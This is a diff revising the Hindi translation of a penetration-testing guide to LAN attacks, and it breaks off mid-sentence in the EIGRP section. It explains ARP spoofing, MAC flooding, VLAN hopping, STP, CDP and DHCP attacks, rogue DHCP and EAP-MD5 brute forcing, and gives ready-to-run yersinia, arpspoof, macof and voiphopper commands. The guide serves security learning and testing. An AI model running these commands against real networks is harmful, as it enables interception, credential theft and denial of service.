आपके MAC पते के लिए निर्धारित सामग्री देखेंगे। ### TCPDump ```bash @@ -202,7 +202,7 @@ sudo tcpdump -i udp port 53 #Listen to DNS request to discover what tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` -आप एक SSH सत्र के माध्यम से Wireshark का उपयोग करके रिमोट मशीन से रीयलटाइम में पैकेट कैप्चर कर सकते हैं। +आप एक SSH सत्र के माध्यम से Wireshark का उपयोग करके एक दूरस्थ मशीन से वास्तविक समय में पैकेट कैप्चर कर सकते हैं। ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic @@ -220,15 +220,15 @@ set net.sniff.regexp #If set only packets matching this regex will be considered स्पष्ट है। -### Capturing credentials +### क्रेडेंशियल कैप्चर करना आप [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) जैसे टूल का उपयोग करके pcap या लाइव इंटरफेस से क्रेडेंशियल्स को पार्स कर सकते हैं। -## LAN attacks +## LAN हमले -### ARP spoofing +### ARP स्पूफिंग -ARP Spoofing में बिना किसी कारण के ARPResponses भेजना शामिल है ताकि यह संकेत दिया जा सके कि किसी मशीन का IP हमारे डिवाइस के MAC के साथ है। फिर, पीड़ित ARP तालिका को बदल देगा और हर बार जब वह स्पूफ किए गए IP से संपर्क करना चाहता है, तो वह हमारी मशीन से संपर्क करेगा। +ARP स्पूफिंग में ग्रैटिटियस ARPResponses भेजना शामिल है ताकि यह संकेत दिया जा सके कि किसी मशीन का IP हमारे डिवाइस के MAC के साथ है। फिर, पीड़ित ARP तालिका को बदल देगा और हर बार जब वह स्पूफ किए गए IP से संपर्क करना चाहता है, तो हमारी मशीन से संपर्क करेगा। #### **Bettercap** ```bash @@ -246,23 +246,23 @@ arpspoof -t 192.168.1.2 192.168.1.1 ``` ### MAC Flooding - CAM overflow -स्विच की CAM तालिका को ओवरफ्लो करें, विभिन्न स्रोत मैक पते के साथ बहुत सारे पैकेट भेजकर। जब CAM तालिका भर जाती है, तो स्विच हब की तरह व्यवहार करना शुरू कर देता है (सभी ट्रैफ़िक को ब्रॉडकास्ट करना)। +स्विच के CAM तालिका को ओवरफ्लो करें, विभिन्न स्रोत मैक पते के साथ बहुत सारे पैकेट भेजकर। जब CAM तालिका भर जाती है, तो स्विच हब की तरह व्यवहार करना शुरू कर देता है (सभी ट्रैफ़िक को ब्रॉडकास्ट करना)। ```bash macof -i ``` -इस आधुनिक स्विच में यह सुरक्षा कमी ठीक की गई है। +आधुनिक स्विच में इस कमजोरियों को ठीक कर दिया गया है। ### 802.1Q VLAN / DTP हमले #### डायनामिक ट्रंकिंग -**डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)** को एक लिंक लेयर प्रोटोकॉल के रूप में डिज़ाइन किया गया है ताकि ट्रंकिंग के लिए एक स्वचालित प्रणाली को सक्षम किया जा सके, जिससे स्विच ट्रंक मोड (Trunk) या नॉन-ट्रंक मोड के लिए पोर्ट का स्वचालित चयन कर सकें। **DTP** का उपयोग अक्सर उप-इष्टतम नेटवर्क डिज़ाइन का संकेत माना जाता है, जो केवल आवश्यकतानुसार ट्रंक्स को मैन्युअल रूप से कॉन्फ़िगर करने और उचित दस्तावेज़ीकरण सुनिश्चित करने के महत्व को उजागर करता है। +**डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)** को एक लिंक लेयर प्रोटोकॉल के रूप में डिज़ाइन किया गया है ताकि ट्रंकिंग के लिए एक स्वचालित प्रणाली को सुगम बनाया जा सके, जिससे स्विच ट्रंक मोड (Trunk) या नॉन-ट्रंक मोड के लिए पोर्ट का स्वचालित चयन कर सकें। **DTP** का उपयोग अक्सर उप-इष्टतम नेटवर्क डिज़ाइन का संकेत माना जाता है, जो केवल आवश्यकतानुसार ट्रंक को मैन्युअल रूप से कॉन्फ़िगर करने और उचित दस्तावेज़ीकरण सुनिश्चित करने के महत्व को उजागर करता है। -डिफ़ॉल्ट रूप से, स्विच पोर्ट को डायनामिक ऑटो मोड में संचालित करने के लिए सेट किया गया है, जिसका अर्थ है कि वे पड़ोसी स्विच द्वारा संकेत मिलने पर ट्रंकिंग शुरू करने के लिए तैयार हैं। एक सुरक्षा चिंता तब उत्पन्न होती है जब एक पेंटेस्टर या हमलावर स्विच से कनेक्ट होता है और एक DTP Desirable फ्रेम भेजता है, जिससे पोर्ट ट्रंक मोड में प्रवेश करता है। यह क्रिया हमलावर को STP फ्रेम विश्लेषण के माध्यम से VLANs की गणना करने और वर्चुअल इंटरफेस सेट करके VLAN विभाजन को दरकिनार करने की अनुमति देती है। +डिफ़ॉल्ट रूप से, स्विच पोर्ट को डायनामिक ऑटो मोड में संचालित करने के लिए सेट किया गया है, जिसका अर्थ है कि वे पड़ोसी स्विच द्वारा संकेत मिलने पर ट्रंकिंग शुरू करने के लिए तैयार हैं। एक सुरक्षा चिंता तब उत्पन्न होती है जब एक पेंटेस्टर या हमलावर स्विच से कनेक्ट होता है और एक DTP Desirable फ्रेम भेजता है, जिससे पोर्ट ट्रंक मोड में प्रवेश करता है। यह क्रिया हमलावर को STP फ्रेम विश्लेषण के माध्यम से VLANs को सूचीबद्ध करने और वर्चुअल इंटरफेस सेट करके VLAN विभाजन को दरकिनार करने की अनुमति देती है। -कई स्विच में डिफ़ॉल्ट रूप से DTP की उपस्थिति का शोषण विरोधियों द्वारा स्विच के व्यवहार की नकल करने के लिए किया जा सकता है, जिससे सभी VLANs के बीच ट्रैफ़िक तक पहुंच प्राप्त होती है। स्क्रिप्ट [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) का उपयोग एक इंटरफेस की निगरानी के लिए किया जाता है, यह प्रकट करता है कि स्विच डिफ़ॉल्ट, ट्रंक, डायनामिक, ऑटो, या एक्सेस मोड में है—जिसमें से केवल एक्सेस मोड VLAN हॉपिंग हमलों के प्रति प्रतिरक्षित है। यह उपकरण स्विच की सुरक्षा स्थिति का आकलन करता है। +कई स्विच में डिफ़ॉल्ट रूप से DTP की उपस्थिति का शोषण adversaries द्वारा स्विच के व्यवहार की नकल करने के लिए किया जा सकता है, जिससे सभी VLANs के बीच ट्रैफ़िक तक पहुंच प्राप्त होती है। स्क्रिप्ट [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) का उपयोग एक इंटरफेस की निगरानी के लिए किया जाता है, यह प्रकट करता है कि स्विच डिफ़ॉल्ट, ट्रंक, डायनामिक, ऑटो, या एक्सेस मोड में है—जिसमें से केवल एक्सेस मोड VLAN हॉपिंग हमलों के प्रति प्रतिरक्षित है। यह उपकरण स्विच की कमजोरियों की स्थिति का आकलन करता है। -यदि नेटवर्क की सुरक्षा कमी की पहचान की जाती है, तो _**Yersinia**_ उपकरण का उपयोग DTP प्रोटोकॉल के माध्यम से "ट्रंकिंग सक्षम करने" के लिए किया जा सकता है, जिससे सभी VLANs से पैकेटों का अवलोकन किया जा सके। +यदि नेटवर्क की कमजोरी की पहचान की जाती है, तो _**Yersinia**_ उपकरण का उपयोग DTP प्रोटोकॉल के माध्यम से "ट्रंकिंग सक्षम करने" के लिए किया जा सकता है, जिससे सभी VLANs से पैकेटों का अवलोकन किया जा सके। ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -275,11 +275,11 @@ yersinia -G #For graphic mode ``` ![](<../../images/image (269).png>) -VLANs की गणना करने के लिए, DTP Desirable फ्रेम को जनरेट करने के लिए स्क्रिप्ट [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** का उपयोग करना भी संभव है। **कृपया किसी भी परिस्थिति में स्क्रिप्ट को बाधित न करें। यह हर तीन सेकंड में DTP Desirable को इंजेक्ट करता है। **स्विच पर गतिशील रूप से बनाए गए ट्रंक चैनल केवल पांच मिनट तक जीवित रहते हैं। पांच मिनट के बाद, ट्रंक गिर जाता है।** +VLANs की गणना करने के लिए, DTP Desirable फ्रेम को स्क्रिप्ट [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** के साथ उत्पन्न करना भी संभव है। **कृपया किसी भी परिस्थिति में स्क्रिप्ट को बाधित न करें। यह हर तीन सेकंड में DTP Desirable इंजेक्ट करता है। **स्विच पर गतिशील रूप से बनाए गए ट्रंक चैनल केवल पांच मिनट तक जीवित रहते हैं। पांच मिनट के बाद, ट्रंक गिर जाता है।** ``` sudo python3 DTPHijacking.py --interface eth0 ``` -मैं यह बताना चाहूंगा कि **Access/Desirable (0x03)** यह संकेत करता है कि DTP फ्रेम Desirable प्रकार का है, जो पोर्ट को Trunk मोड में स्विच करने के लिए कहता है। और **802.1Q/802.1Q (0xa5)** **802.1Q** एनकैप्सुलेशन प्रकार को दर्शाता है। +मैं यह बताना चाहूंगा कि **Access/Desirable (0x03)** यह संकेत करता है कि DTP फ्रेम Desirable प्रकार का है, जो पोर्ट को Trunk मोड में स्विच करने के लिए कहता है। और **802.1Q/802.1Q (0xa5)** **802.1Q** एनकैप्सुलेशन प्रकार को इंगित करता है। STP फ्रेम का विश्लेषण करके, **हम VLAN 30 और VLAN 60 के अस्तित्व के बारे में सीखते हैं।** @@ -288,7 +288,7 @@ STP फ्रेम का विश्लेषण करके, **हम VLAN #### विशिष्ट VLAN पर हमला करना एक बार जब आप VLAN IDs और IPs मानों को जान लेते हैं, तो आप **एक विशिष्ट VLAN पर हमला करने के लिए एक वर्चुअल इंटरफेस को कॉन्फ़िगर कर सकते हैं।**\ -यदि DHCP उपलब्ध नहीं है, तो स्थिर IP पता सेट करने के लिए _ifconfig_ का उपयोग करें। +यदि DHCP उपलब्ध नहीं है, तो स्थिर IP पते सेट करने के लिए _ifconfig_ का उपयोग करें। ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -327,7 +327,7 @@ sudo dhclient -v eth0.30 #### Double Tagging -यदि एक हमलावर को **शिकार होस्ट का MAC, IP और VLAN ID** का मान पता है, तो वह **फ्रेम को डबल टैग** करने की कोशिश कर सकता है, जिसमें इसका निर्दिष्ट VLAN और शिकार का VLAN हो और एक पैकेट भेज सकता है। चूंकि **शिकार हमलावर के साथ वापस कनेक्ट नहीं हो पाएगा**, इसलिए **हमलावर के लिए सबसे अच्छा विकल्प UDP के माध्यम से संवाद करना** है उन प्रोटोकॉल के लिए जो कुछ दिलचस्प क्रियाएँ कर सकते हैं (जैसे SNMP)। +यदि एक हमलावर को **शिकार होस्ट का MAC, IP और VLAN ID** का मान पता है, तो वह **फ्रेम को डबल टैग** करने की कोशिश कर सकता है इसके निर्दिष्ट VLAN और शिकार के VLAN के साथ और एक पैकेट भेज सकता है। चूंकि **शिकार हमलावर के साथ वापस कनेक्ट नहीं हो पाएगा**, इसलिए **हमलावर के लिए सबसे अच्छा विकल्प UDP के माध्यम से संचार करना** है उन प्रोटोकॉल के लिए जो कुछ दिलचस्प क्रियाएँ कर सकते हैं (जैसे SNMP)। हमलावर के लिए एक और विकल्प है **TCP पोर्ट स्कैन लॉन्च करना, एक IP को स्पूफ करना जो हमलावर द्वारा नियंत्रित है और शिकार द्वारा सुलभ है** (संभवतः इंटरनेट के माध्यम से)। फिर, हमलावर अपने दूसरे होस्ट में स्निफ कर सकता है यदि उसे शिकार से कुछ पैकेट मिलते हैं। @@ -342,7 +342,7 @@ sendp(packet) ``` #### Lateral VLAN Segmentation Bypass -यदि आपके पास **एक स्विच तक पहुंच है जिससे आप सीधे जुड़े हुए हैं**, तो आपके पास नेटवर्क के भीतर **VLAN विभाजन को बायपास करने** की क्षमता है। बस **पोर्ट को ट्रंक मोड में स्विच करें** (जिसे ट्रंक के रूप में भी जाना जाता है), लक्षित VLANs के IDs के साथ वर्चुअल इंटरफेस बनाएं, और एक IP पता कॉन्फ़िगर करें। आप पता को गतिशील रूप से (DHCP) मांगने की कोशिश कर सकते हैं या आप इसे स्थिर रूप से कॉन्फ़िगर कर सकते हैं। यह मामले पर निर्भर करता है। +यदि आपके पास **एक स्विच तक पहुंच है जिससे आप सीधे जुड़े हुए हैं**, तो आपके पास **नेटवर्क के भीतर VLAN विभाजन को बायपास करने** की क्षमता है। बस **पोर्ट को ट्रंक मोड में स्विच करें** (जिसे ट्रंक के रूप में भी जाना जाता है), लक्षित VLANs के IDs के साथ वर्चुअल इंटरफेस बनाएं, और एक IP पता कॉन्फ़िगर करें। आप पता को गतिशील रूप से (DHCP) मांगने की कोशिश कर सकते हैं या आप इसे स्थिर रूप से कॉन्फ़िगर कर सकते हैं। यह मामले पर निर्भर करता है। {{#ref}} lateral-vlan-segmentation-bypass.md @@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -कुछ वातावरणों में, जैसे कि अतिथि वायरलेस नेटवर्क, **पोर्ट आइसोलेशन (जिसे प्राइवेट VLAN के रूप में भी जाना जाता है)** सेटिंग्स लागू की जाती हैं ताकि वायरलेस एक्सेस पॉइंट से जुड़े क्लाइंट एक-दूसरे के साथ सीधे संवाद न कर सकें। हालाँकि, एक तकनीक पहचानी गई है जो इन आइसोलेशन उपायों को दरकिनार कर सकती है। यह तकनीक या तो नेटवर्क ACLs की कमी का लाभ उठाती है या उनकी गलत कॉन्फ़िगरेशन का, जिससे IP पैकेट को एक राउटर के माध्यम से रूट किया जा सकता है ताकि उसी नेटवर्क पर एक अन्य क्लाइंट तक पहुंचा जा सके। +कुछ वातावरणों में, जैसे कि अतिथि वायरलेस नेटवर्क, **पोर्ट आइसोलेशन (जिसे प्राइवेट VLAN के रूप में भी जाना जाता है)** सेटिंग्स लागू की जाती हैं ताकि वायरलेस एक्सेस पॉइंट से जुड़े क्लाइंट एक-दूसरे के साथ सीधे संवाद न कर सकें। हालाँकि, एक तकनीक पहचानी गई है जो इन आइसोलेशन उपायों को बायपास कर सकती है। यह तकनीक या तो नेटवर्क ACLs की कमी का लाभ उठाती है या उनकी गलत कॉन्फ़िगरेशन का, जिससे IP पैकेट को एक राउटर के माध्यम से रूट किया जा सकता है ताकि वह उसी नेटवर्क पर दूसरे क्लाइंट तक पहुँच सके। -हमला एक **पैकेट बनाकर निष्पादित किया जाता है जो लक्ष्य क्लाइंट का IP पता ले जाता है लेकिन राउटर का MAC पता होता है**। इससे राउटर गलती से पैकेट को लक्षित क्लाइंट की ओर अग्रेषित कर देता है। यह दृष्टिकोण डबल टैगिंग हमलों में उपयोग की जाने वाली विधि के समान है, जहां पीड़ित के लिए सुलभ एक होस्ट को नियंत्रित करने की क्षमता का उपयोग सुरक्षा दोष का लाभ उठाने के लिए किया जाता है। +हमला एक **पैकेट बनाकर निष्पादित किया जाता है जो लक्ष्य क्लाइंट का IP पता ले जाता है लेकिन राउटर का MAC पता होता है**। इससे राउटर गलती से पैकेट को लक्षित क्लाइंट की ओर अग्रेषित कर देता है। यह दृष्टिकोण डबल टैगिंग हमलों में उपयोग की जाने वाली विधि के समान है, जहाँ पीड़ित के लिए सुलभ एक होस्ट को नियंत्रित करने की क्षमता का उपयोग सुरक्षा दोष का लाभ उठाने के लिए किया जाता है। **हमले के मुख्य चरण:** 1. **पैकेट बनाना:** एक पैकेट विशेष रूप से तैयार किया जाता है जिसमें लक्षित क्लाइंट का IP पता होता है लेकिन राउटर का MAC पता होता है। -2. **राउटर व्यवहार का लाभ उठाना:** तैयार पैकेट को राउटर पर भेजा जाता है, जो कॉन्फ़िगरेशन के कारण पैकेट को लक्षित क्लाइंट की ओर अग्रेषित करता है, प्राइवेट VLAN सेटिंग्स द्वारा प्रदान की गई आइसोलेशन को दरकिनार करते हुए। +2. **राउटर के व्यवहार का लाभ उठाना:** तैयार पैकेट को राउटर पर भेजा जाता है, जो कॉन्फ़िगरेशन के कारण पैकेट को लक्षित क्लाइंट की ओर अग्रेषित करता है, प्राइवेट VLAN सेटिंग्स द्वारा प्रदान किए गए आइसोलेशन को बायपास करता है। ### VTP Attacks @@ -367,7 +367,7 @@ VTP (VLAN Trunking Protocol) VLAN प्रबंधन को केंद् - **VTP Server:** VLANs का प्रबंधन करता है—बनाता है, हटाता है, संशोधित करता है। यह डोमेन सदस्यों को VTP घोषणाएँ प्रसारित करता है। - **VTP Client:** अपने VLAN डेटाबेस को समन्वयित करने के लिए VTP घोषणाएँ प्राप्त करता है। इस भूमिका को स्थानीय VLAN कॉन्फ़िगरेशन संशोधनों से प्रतिबंधित किया गया है। -- **VTP Transparent:** VTP अपडेट में भाग नहीं लेता लेकिन VTP घोषणाओं को अग्रेषित करता है। VTP हमलों से अप्रभावित, यह शून्य का एक स्थिर संशोधन नंबर बनाए रखता है। +- **VTP Transparent:** VTP अपडेट में भाग नहीं लेता लेकिन VTP घोषणाओं को अग्रेषित करता है। VTP हमलों से अप्रभावित, यह शून्य का एक स्थायी संशोधन नंबर बनाए रखता है। #### VTP Advertisement Types @@ -375,7 +375,7 @@ VTP (VLAN Trunking Protocol) VLAN प्रबंधन को केंद् - **Subset Advertisement:** VLAN कॉन्फ़िगरेशन परिवर्तनों के बाद भेजा जाता है। - **Advertisement Request:** एक VTP क्लाइंट द्वारा Summary Advertisement मांगने के लिए जारी किया जाता है, आमतौर पर उच्च कॉन्फ़िगरेशन संशोधन संख्या का पता लगाने के जवाब में। -VTP कमजोरियों का लाभ केवल ट्रंक पोर्ट के माध्यम से उठाया जा सकता है क्योंकि VTP घोषणाएँ केवल उनके माध्यम से प्रसारित होती हैं। DTP हमले के बाद के परिदृश्यों में VTP की ओर मुड़ने की संभावना हो सकती है। Yersinia जैसे उपकरण VTP हमलों को सुविधाजनक बना सकते हैं, जिसका लक्ष्य VLAN डेटाबेस को मिटाना है, जिससे नेटवर्क में व्यवधान उत्पन्न होता है। +VTP कमजोरियाँ केवल ट्रंक पोर्ट के माध्यम से ही शोषण योग्य हैं क्योंकि VTP घोषणाएँ केवल उनके माध्यम से प्रसारित होती हैं। DTP हमले के बाद के परिदृश्यों में VTP की ओर मुड़ने की संभावना हो सकती है। Yersinia जैसे उपकरण VTP हमलों को सुविधाजनक बना सकते हैं, VLAN डेटाबेस को मिटाने के लक्ष्य के साथ, प्रभावी रूप से नेटवर्क को बाधित करते हैं। नोट: यह चर्चा VTP संस्करण 1 (VTPv1) से संबंधित है। ````bash @@ -405,12 +405,12 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen #### **STP Root Attack** हमलावर स्विच के व्यवहार का अनुकरण करता है ताकि वह नेटवर्क का STP रूट बन सके। फिर, अधिक डेटा उसके माध्यम से गुजरेगा। यह तब दिलचस्प होता है जब आप दो अलग-अलग स्विचों से जुड़े होते हैं।\ -यह BPDUs CONF पैकेट भेजकर किया जाता है जो कहते हैं कि **priority** मान वास्तविक रूट स्विच की वास्तविक प्राथमिकता से कम है। +यह BPDUs CONF पैकेट भेजकर किया जाता है जिसमें कहा जाता है कि **priority** मान वास्तविक रूट स्विच की वास्तविक प्राथमिकता से कम है। ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` -**यदि हमलावर 2 स्विचों से जुड़ा है, तो वह नए पेड़ की जड़ बन सकता है और उन स्विचों के बीच सभी ट्रैफ़िक उसके माध्यम से गुजरेगा** (एक MITM हमला किया जाएगा)। +**यदि हमलावर 2 स्विचों से जुड़ा है, तो वह नए पेड़ का मूल बन सकता है और उन स्विचों के बीच सभी ट्रैफ़िक उसके माध्यम से गुजरेगा** (एक MITM हमला किया जाएगा)। ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages @@ -431,9 +431,9 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de # Alternatively, for a GUI approach: sudo yersinia -G ``` -इस हमले के दौरान, स्विच का CPU और CDP पड़ोसी तालिका भारी बोझ में होती है, जो अक्सर **“नेटवर्क लकवाग्रस्त”** के रूप में संदर्भित किया जाता है, अत्यधिक संसाधन खपत के कारण। +इस हमले के दौरान, स्विच का CPU और CDP पड़ोसी तालिका भारी बोझिल हो जाती है, जो अक्सर **“नेटवर्क लकवाग्रस्त”** के रूप में संदर्भित किया जाता है, अत्यधिक संसाधन खपत के कारण। -#### CDP impersonation Attack +#### CDP Impersonation Attack ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet @@ -442,7 +442,7 @@ sudo yersinia cdp -attack 0 #Send a CDP packet ### VoIP हमले और VoIP Hopper उपकरण -VoIP फोन, जो IoT उपकरणों के साथ बढ़ते हुए एकीकृत होते हैं, दरवाजे खोलने या विशेष फोन नंबरों के माध्यम से थर्मोस्टैट्स को नियंत्रित करने जैसी कार्यक्षमताएँ प्रदान करते हैं। हालाँकि, यह एकीकरण सुरक्षा जोखिम पैदा कर सकता है। +VoIP फोन, जो IoT उपकरणों के साथ बढ़ते हुए एकीकृत हैं, विशेष फोन नंबरों के माध्यम से दरवाजे खोलने या थर्मोस्टैट्स को नियंत्रित करने जैसी कार्यक्षमताएँ प्रदान करते हैं। हालाँकि, यह एकीकरण सुरक्षा जोखिम पैदा कर सकता है। उपकरण [**voiphopper**](http://voiphopper.sourceforge.net) विभिन्न वातावरणों (Cisco, Avaya, Nortel, Alcatel-Lucent) में VoIP फोन का अनुकरण करने के लिए डिज़ाइन किया गया है। यह CDP, DHCP, LLDP-MED, और 802.1Q ARP जैसे प्रोटोकॉल का उपयोग करके वॉयस नेटवर्क का VLAN ID खोजता है। @@ -463,7 +463,7 @@ VoIP फोन, जो IoT उपकरणों के साथ बढ़त - मॉडल जानकारी देखने के लिए फोन की डिस्प्ले सेटिंग्स में जाएँ। - VoIP डिवाइस को लैपटॉप से कनेक्ट करें और Wireshark का उपयोग करके CDP अनुरोधों का अवलोकन करें। -तीसरे मोड में उपकरण को निष्पादित करने के लिए एक उदाहरण कमांड होगा: +उपकरण को तीसरे मोड में निष्पादित करने के लिए एक उदाहरण कमांड होगा: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` @@ -489,17 +489,17 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` **DoS** -**DoS के दो प्रकार** DHCP सर्वरों के खिलाफ किए जा सकते हैं। पहला यह है कि **काफी सारे फर्जी होस्ट का अनुकरण करें ताकि सभी संभावित IP पते का उपयोग किया जा सके**।\ +**DoS के दो प्रकार** DHCP सर्वरों के खिलाफ किए जा सकते हैं। पहला प्रकार **इतने फर्जी होस्टों का अनुकरण करना है कि सभी संभावित IP पते उपयोग में आ जाएं**।\ यह हमला केवल तभी काम करेगा जब आप DHCP सर्वर के उत्तर देख सकें और प्रोटोकॉल को पूरा कर सकें (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server))। उदाहरण के लिए, यह **Wifi नेटवर्क में संभव नहीं है**। -DHCP DoS करने का एक और तरीका है **DHCP-RELEASE पैकेट भेजना जिसमें स्रोत कोड के रूप में हर संभव IP का उपयोग किया जाए**। फिर, सर्वर सोचेगा कि सभी ने IP का उपयोग करना समाप्त कर दिया है। +DHCP DoS करने का एक और तरीका है **DHCP-RELEASE पैकेट भेजना जिसमें स्रोत कोड के रूप में हर संभव IP हो**। तब, सर्वर सोचेगा कि सभी ने IP का उपयोग करना समाप्त कर दिया है। ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` एक अधिक स्वचालित तरीका यह है कि आप उपकरण [DHCPing](https://github.com/kamorin/DHCPig) का उपयोग करें। -आप उल्लेखित DoS हमलों का उपयोग करके क्लाइंट को पर्यावरण के भीतर नए लीज़ प्राप्त करने के लिए मजबूर कर सकते हैं, और वैध सर्वरों को समाप्त कर सकते हैं ताकि वे अनुत्तरदायी हो जाएं। इसलिए जब वैध पुनः कनेक्ट करने की कोशिश करते हैं, **आप अगले हमले में उल्लेखित दुर्भावनापूर्ण मान सर्वर कर सकते हैं**। +आप उल्लेखित DoS हमलों का उपयोग करके क्लाइंट को वातावरण के भीतर नए लीज़ प्राप्त करने के लिए मजबूर कर सकते हैं, और वैध सर्वरों को समाप्त कर सकते हैं ताकि वे अनुत्तरदायी हो जाएं। इसलिए जब वैध पुनः कनेक्ट करने की कोशिश करते हैं, **आप अगले हमले में उल्लेखित दुर्भावनापूर्ण मान सर्वर कर सकते हैं**। #### दुर्भावनापूर्ण मान सेट करें @@ -514,9 +514,9 @@ yersinia dhcp -attack 3 #More parameters are needed - **द्वितीयक DNS सर्वर IP**: वैकल्पिक रूप से, द्वितीयक DNS सर्वर IP सेट करने के लिए `-s 10.0.0.1` का उपयोग करें। - **स्थानीय नेटवर्क का नेटमास्क**: स्थानीय नेटवर्क के लिए नेटमास्क को परिभाषित करने के लिए `-n 255.255.255.0` का उपयोग करें। - **DHCP ट्रैफ़िक के लिए इंटरफ़ेस**: एक विशिष्ट नेटवर्क इंटरफ़ेस पर DHCP ट्रैफ़िक सुनने के लिए `-I eth1` का उपयोग करें। -- **WPAD कॉन्फ़िगरेशन पता**: वेब ट्रैफ़िक इंटरसेप्शन में सहायता के लिए WPAD कॉन्फ़िगरेशन के लिए पता सेट करने के लिए `-w “http://10.0.0.100/wpad.dat”` का उपयोग करें। +- **WPAD कॉन्फ़िगरेशन पता**: वेब ट्रैफ़िक इंटरसेप्शन में सहायता करने के लिए WPAD कॉन्फ़िगरेशन के लिए पता सेट करने के लिए `-w “http://10.0.0.100/wpad.dat”` का उपयोग करें। - **डिफ़ॉल्ट गेटवे IP को स्पूफ करें**: डिफ़ॉल्ट गेटवे IP पते को स्पूफ करने के लिए `-S` शामिल करें। -- **सभी DHCP अनुरोधों का उत्तर दें**: सभी DHCP अनुरोधों का उत्तर देने के लिए `-R` शामिल करें, लेकिन ध्यान रखें कि यह शोर करता है और इसे पता लगाया जा सकता है। +- **सभी DHCP अनुरोधों का उत्तर दें**: सभी DHCP अनुरोधों का उत्तर देने के लिए `-R` शामिल करें, लेकिन ध्यान रखें कि यह शोरगुल वाला है और इसे पता लगाया जा सकता है। इन विकल्पों का सही उपयोग करके, एक धोखेबाज़ DHCP सर्वर स्थापित किया जा सकता है जो नेटवर्क ट्रैफ़िक को प्रभावी ढंग से इंटरसेप्ट करता है। ```python @@ -533,7 +533,7 @@ yersinia dhcp -attack 3 #More parameters are needed - TLS प्रमाणपत्र मान्यता को बायपास करने के लिए EAP-MD5 प्रमाणीकरण को मजबूर करना - हब या समान का उपयोग करके प्रमाणीकरण करते समय दुर्भावनापूर्ण नेटवर्क ट्रैफ़िक इंजेक्ट करना -यदि हमलावर पीड़ित और प्रमाणीकरण सर्वर के बीच है, तो वह प्रमाणीकरण प्रोटोकॉल को EAP-MD5 में घटित करने की कोशिश कर सकता है और प्रमाणीकरण प्रयास को कैप्चर कर सकता है। फिर, वह इसे ब्रूट-फोर्स कर सकता है: +यदि हमलावर पीड़ित और प्रमाणीकरण सर्वर के बीच है, तो वह प्रमाणीकरण प्रोटोकॉल को EAP-MD5 में घटाने (यदि आवश्यक हो) और प्रमाणीकरण प्रयास को कैप्चर करने की कोशिश कर सकता है। फिर, वह इसे ब्रूट-फोर्स कर सकता है: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` @@ -543,13 +543,14 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt **Cisco Systems के इंजीनियरों ने दो FHRP प्रोटोकॉल विकसित किए हैं, GLBP और HSRP।** + {{#ref}} glbp-and-hsrp-attacks.md {{#endref}} ### RIP -Routing Information Protocol (RIP) के तीन संस्करण ज्ञात हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 द्वारा UDP के माध्यम से पोर्ट 520 पर साथियों को डाटाग्राम भेजे जाते हैं, जबकि RIPng द्वारा IPv6 मल्टीकास्ट के माध्यम से UDP पोर्ट 521 पर डाटाग्राम प्रसारित किए जाते हैं। RIPv2 द्वारा MD5 प्रमाणीकरण का समर्थन पेश किया गया था। दूसरी ओर, RIPng में स्वदेशी प्रमाणीकरण शामिल नहीं है; इसके बजाय, IPv6 में वैकल्पिक IPsec AH और ESP हेडर पर निर्भरता रखी जाती है। +Routing Information Protocol (RIP) के तीन संस्करण ज्ञात हैं: RIP, RIPv2, और RIPng। RIP और RIPv2 द्वारा डाटाग्राम को UDP के माध्यम से पोर्ट 520 पर साथियों को भेजा जाता है, जबकि RIPng द्वारा डाटाग्राम को IPv6 मल्टीकास्ट के माध्यम से UDP पोर्ट 521 पर प्रसारित किया जाता है। RIPv2 द्वारा MD5 प्रमाणीकरण का समर्थन पेश किया गया था। दूसरी ओर, RIPng द्वारा स्वदेशी प्रमाणीकरण शामिल नहीं किया गया है; इसके बजाय, IPv6 में वैकल्पिक IPsec AH और ESP हेडर पर निर्भरता रखी जाती है। - **RIP और RIPv2:** संचार UDP डाटाग्राम के माध्यम से पोर्ट 520 पर किया जाता है। - **RIPng:** IPv6 मल्टीकास्ट के माध्यम से डाटाग्राम प्रसारित करने के लिए UDP पोर्ट 521 का उपयोग करता है। @@ -558,21 +559,22 @@ Routing Information Protocol (RIP) के तीन संस्करण ज् ### EIGRP Attacks -**EIGRP (Enhanced Interior Gateway Routing Protocol)** एक गतिशील रूटिंग प्रोटोकॉल है। **यह एक दूरी-वेक्तर प्रोटोकॉल है।** यदि **कोई प्रमाणीकरण** और निष्क्रिय इंटरफेस का कॉन्फ़िगरेशन नहीं है, तो एक **आक्रमणकारी** EIGRP रूटिंग में हस्तक्षेप कर 